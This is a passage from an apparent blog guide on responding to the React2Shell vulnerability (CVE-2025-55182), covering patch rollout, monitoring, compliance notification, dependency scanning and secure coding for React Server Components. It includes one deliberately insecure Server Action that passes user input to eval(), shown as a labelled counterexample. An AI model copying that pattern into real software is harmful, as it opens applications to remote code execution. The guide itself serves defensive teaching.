docker images | grep node | awk '{print $1":"$2}' | \
    xargs -I {} docker pull {}

# Update all Kubernetes deployments:
for deploy in $(kubectl get deployments -o name); do
    kubectl set image $deploy react-container=your-registry/react-app:patched
done

# Update all EC2 instances in Auto Scaling Group:
aws autoscaling start-instance-refresh \
    --auto-scaling-group-name your-asg \
    --preferences MinHealthyPercentage=90

# Verify patches:
kubectl exec <pod-name> -- npm list react react-dom next

3. Enhance Monitoring

# Deploy enhanced monitoring post-incident:

# Enable detailed CloudTrail logging:
aws cloudtrail update-trail \
    --name your-trail \
    --include-global-service-events \
    --is-multi-region-trail

# Enable VPC Flow Logs:
aws ec2 create-flow-logs \
    --resource-type VPC \
    --resource-ids vpc-12345678 \
    --traffic-type ALL \
    --log-destination-type cloud-watch-logs \
    --log-group-name /aws/vpc/flowlogs

# Deploy runtime security monitoring (Falco):
helm install falco falcosecurity/falco \
    --set falco.jsonOutput=true \
    --set falco.fileOutput.enabled=true

# Enable audit logging in Kubernetes:
kubectl apply -f audit-policy.yaml

Phase 5: Lessons Learned and Post-Incident Review

Conduct a thorough post-incident analysis:

  • Timeline reconstruction: Document the complete attack chain from initial access to detection
  • Root cause analysis: Why were vulnerable systems exposed? Why wasn't patching faster?
  • Detection gaps: What monitoring would have detected this sooner?
  • Response effectiveness: What slowed down the incident response?
  • Preventive measures: What processes need to change to prevent recurrence?

Notification and Compliance

Depending on your jurisdiction and industry, you may have legal obligations:

  • GDPR (EU): Notify data protection authority within 72 hours if personal data compromised
  • CCPA (California): Notify affected individuals without unreasonable delay
  • HIPAA (Healthcare): Report breaches affecting 500+ individuals to HHS
  • SOC 2 / ISO 27001: Document incident in compliance reports
  • SEC (Public Companies): Disclose material cybersecurity incidents

Long-Term Security Best Practices for React Applications

Secure Development Practices

1. Dependency Management

  • Implement automated dependency scanning in CI/CD pipelines (Snyk, Dependabot, Renovate)
  • Regular dependency audits: Run npm audit weekly
  • Pin dependency versions in production with lock files
  • Subscribe to security advisories for React, Next.js, and other critical dependencies
  • Automated updates for security patches with testing gates
# Example GitHub Actions workflow for dependency scanning
name: Security Scan
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 0 * * 0'  # Weekly scan

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Run npm audit
        run: npm audit --audit-level=high
      
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        with:
          args: --severity-threshold=high
      
      - name: Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          scan-ref: '.'
          format: 'sarif'
          output: 'trivy-results.sarif'

2. Secure Coding for React Server Components

  • Minimize use of Server Actions: Only use when absolutely necessary
  • Input validation: Validate all data received by Server Functions
  • Authentication/authorization: Always verify permissions in Server Functions
  • Avoid dynamic code execution: Never use eval(), Function(), or dynamic require()
  • Principle of least privilege: Server Functions should have minimal permissions
// ❌ UNSAFE: Dynamic code execution
'use server'
export async function unsafeAction(code) {
  return eval(code);  // NEVER DO THIS!
}

// ✅ SAFE: Validated input with specific operations
'use server'
import { z } from 'zod';

const InputSchema = z.object({
  operation: z.enum(['add', 'subtract', 'multiply']),
  a: z.number().min(0).max(1000),
  b: z.number().min(0).max(1000)
});

export async function safeCalculate(input) {
  // Validate input
  const validated = InputSchema.parse(input);
  
  // Perform specific, safe operations
  switch(validated.operation) {
    case 'add': return validated.a + validated.b;
    case 'subtract': return validated.a - validated.b;
    case 'multiply': return validated.a * validated.b;
    default: throw new Error('Invalid operation');
  }
}

// ✅ SAFE: Server Action with authentication
'use server'
import { auth } from '@/lib/auth';
import { db } from '@/lib/database';

export async function secureDataFetch(userId) {
  // Authenticate request
  const session = await auth();
  if (!session || session.user.id !== userId) {
    throw new Error('Unauthorized');
  }
  
  // Fetch data with parameterized queries (prevent SQL injection)
  const data = await db.query(
    'SELECT * FROM user_data WHERE user_id = $1',
    [userId]
  );
  
  return data;
}

Infrastructure Security

1. Defense in Depth

  • Web Application Firewall (WAF): Deploy and maintain WAF rules
  • Network segmentation: Isolate React applications from sensitive backend systems
  • Runtime application protection: Implement RASP solutions
  • Container security: Scan images, enforce security policies
  • Secrets management: Use HashiCorp Vault, AWS Secrets Manager, etc.

2. Zero Trust Architecture

  • Mutual TLS (mTLS): For service-to-service communication
  • Service mesh: Implement Istio or Linkerd for micro-segmentation
  • Identity-based access: OAuth 2.0, OpenID Connect for all services
  • Continuous verification: Don't trust, always verify

Continuous Monitoring and Alerting

1. Vulnerability Management Program

// Example automated vulnerability monitoring script
const axios = require('axios');
const { execSync } = require('child_process');

async function checkVulnerabilities() {
  // Check npm audit
  const auditResult = execSync('npm audit --json', { encoding: 'utf-8' });
  const audit = JSON.parse(auditResult);
  
  if (audit.metadata.vulnerabilities.high > 0 || 
      audit.metadata.vulnerabilities.critical > 0) {
    
    // Send alert to Slack/Teams
    await axios.post(process.env.SLACK_WEBHOOK, {
      text: `🚨 Critical vulnerabilities detected!
      High: ${audit.metadata.vulnerabilities.high}
      Critical: ${audit.metadata.vulnerabilities.critical}
      Run 'npm audit' for details.`
    });
    
    // Create Jira ticket
    await createJiraTicket({
      summary: 'Security vulnerabilities detected in dependencies',
      priority: 'Highest',
      description: JSON.stringify(audit, null, 2)
    });
  }
}

// Run daily
setInterval(checkVulnerabilities, 24 * 60 * 60 * 1000);

2. Security Metrics and KPIs

Track these security metrics for your React applications:

  • Mean Time to Patch (MTTP): Average time from vulnerability disclosure to patch deployment
  • Vulnerability Density: Number of known vulnerabilities per application
  • Dependency Age: How outdated are your dependencies?
  • Security Test Coverage: Percentage of code covered by security tests
  • Incident Response Time: Time from detection to containment

Organizational Best Practices

1. Security Champions Program

  • Designate security champions in each development team
  • Regular security training for developers
  • Security code reviews for Server Components and Server Actions
  • Threat modeling sessions for new features

2. Incident Response Preparedness

  • Documented IR playbooks for common scenarios
  • Regular tabletop exercises simulating security incidents
  • On-call security rotation for 24/7 response capability
  • Relationships with vendors (React team, Next.js, security firms)

3. Continuous Security Improvement

  • Post-mortem reviews after security incidents
  • Security retrospectives in sprint reviews
  • Metrics-driven improvements based on KPI tracking
  • Stay informed: Follow security researchers, advisories, and industry news

CVE-2025-55182 in Historical Context: Lessons from Major Vulnerabilities

React2Shell joins a lineage of critical deserialization vulnerabilities that have impacted web development frameworks. Understanding these historical parallels provides valuable context:

VulnerabilityYearCVSSTypeImpact
React2Shell (CVE-2025-55182)202510.0Deserialization RCEReact Server Components
Log4Shell (CVE-2021-44228)202110.0JNDI Injection RCEJava applications using Log4j - widespread global impact
Spring4Shell (CVE-2022-22965)20229.8RCE via class propertiesSpring Framework applications
Struts RCE (CVE-2017-5638)201710.0Jakarta Multipart Parser RCELed to Equifax breach affecting 147M people
Heartbleed (CVE-2014-0160)20147.5Information DisclosureOpenSSL - memory leak exposing secrets

Key Lessons from Historical Vulnerabilities

1. Deserialization is Dangerous

Like React2Shell, many critical vulnerabilities stem from unsafe deserialization of untrusted data. This pattern has appeared repeatedly:

  • Java deserialization vulnerabilities (2015-present)
  • Python pickle exploits
  • PHP unserialize() RCE
  • .NET BinaryFormatter vulnerabilities

Takeaway: Never deserialize untrusted input without robust validation and sandboxing.

2. Widespread Adoption = Massive Impact

React's popularity means CVE-2025-55182 affects a huge attack surface, similar to Log4Shell. When a foundational library is compromised, the ripple effects are enormous:

  • Millions of applications potentially vulnerable
  • Supply chain implications - transitive dependencies amplify reach
  • Patching fatigue when vulnerabilities affect so many systems

3. Speed of Exploitation Increases

The time from disclosure to active exploitation continues to shrink:

  • Struts (2017): Exploited within days, led to Equifax breach months later
  • Log4Shell (2021): Exploited within hours of public disclosure
  • React2Shell (2025): Mass exploitation within 48 hours

Takeaway: Patch windows are getting shorter. Organizations need emergency patching procedures.


Conclusion: Taking Action on CVE-2025-55182

CVE-2025-55182 (React2Shell) represents one of the most critical security vulnerabilities to affect the React ecosystem. With its CVSS 10.0 rating, active exploitation in the wild, and potential to compromise 39% of cloud environments, this vulnerability demands immediate attention from every organization using React Server Components.

The key takeaways from this comprehensive guide are:

đŸŽ¯ Action Checklist

  • ✅ Immediate (Today):
    • Identify all React 19.x applications in your infrastructure
    • Update to patched versions (React 19.0.1/19.1.2/19.2.1, Next.js 15.0.5+ or 16.0.7)
    • Deploy WAF rules for temporary protection during patching
    • Check logs for signs of exploitation before patching
  • ✅ Short-term (This Week):
    • Complete patching across all environments (dev, staging, production)
    • Implement continuous vulnerability scanning
    • Deploy detection rules in SIEM and EDR systems
    • Conduct incident response if compromise detected
  • ✅ Long-term (Ongoing):
    • Establish automated dependency updating workflows
    • Implement security-focused code review processes
    • Develop React Server Component security guidelines
    • Train development teams on secure coding practices
    • Participate in security community and stay informed

Staying Informed

Subscribe to these resources to stay updated on React security:

Final Thoughts

The React2Shell vulnerability serves as a stark reminder that even the most popular and well-maintained frameworks can contain critical security flaws. The speed at which this vulnerability was exploited in the wild - mere hours after public PoC release - demonstrates the sophistication and preparedness of modern threat actors.

However, it's also a testament to the React community's responsiveness. The rapid development and deployment of patches, coordination with hosting providers, and transparent communication showed a mature approach to security incident management.

As developers and security professionals, our responsibility extends beyond simply patching this specific vulnerability. We must adopt a security-first mindset, implement defense-in-depth strategies, and maintain constant vigilance in an ever-evolving threat landscape.

💡 Remember: Security is not a one-time action but an ongoing process.

Stay informed, stay updated, and prioritize security in every development decision.

Disclaimer: This article is provided for educational and informational purposes only. While we strive for accuracy, security landscapes evolve rapidly. Always refer to official sources (React team, Next.js, CISA, NVD) for the most current information. TechRonixz is not liable for actions taken based on this information.


Frequently Asked Questions (FAQ)

What is CVE-2025-55182 (React2Shell)?+
Which React versions are affected by CVE-2025-55182?+
How do I fix CVE-2025-55182 in my React application?+
Is CVE-2025-55182 being actively exploited in the wild?+
Do I need to worry about CVE-2025-55182 if I don't use React Server Components?+
What is the difference between CVE-2025-55182 and CVE-2025-66478?+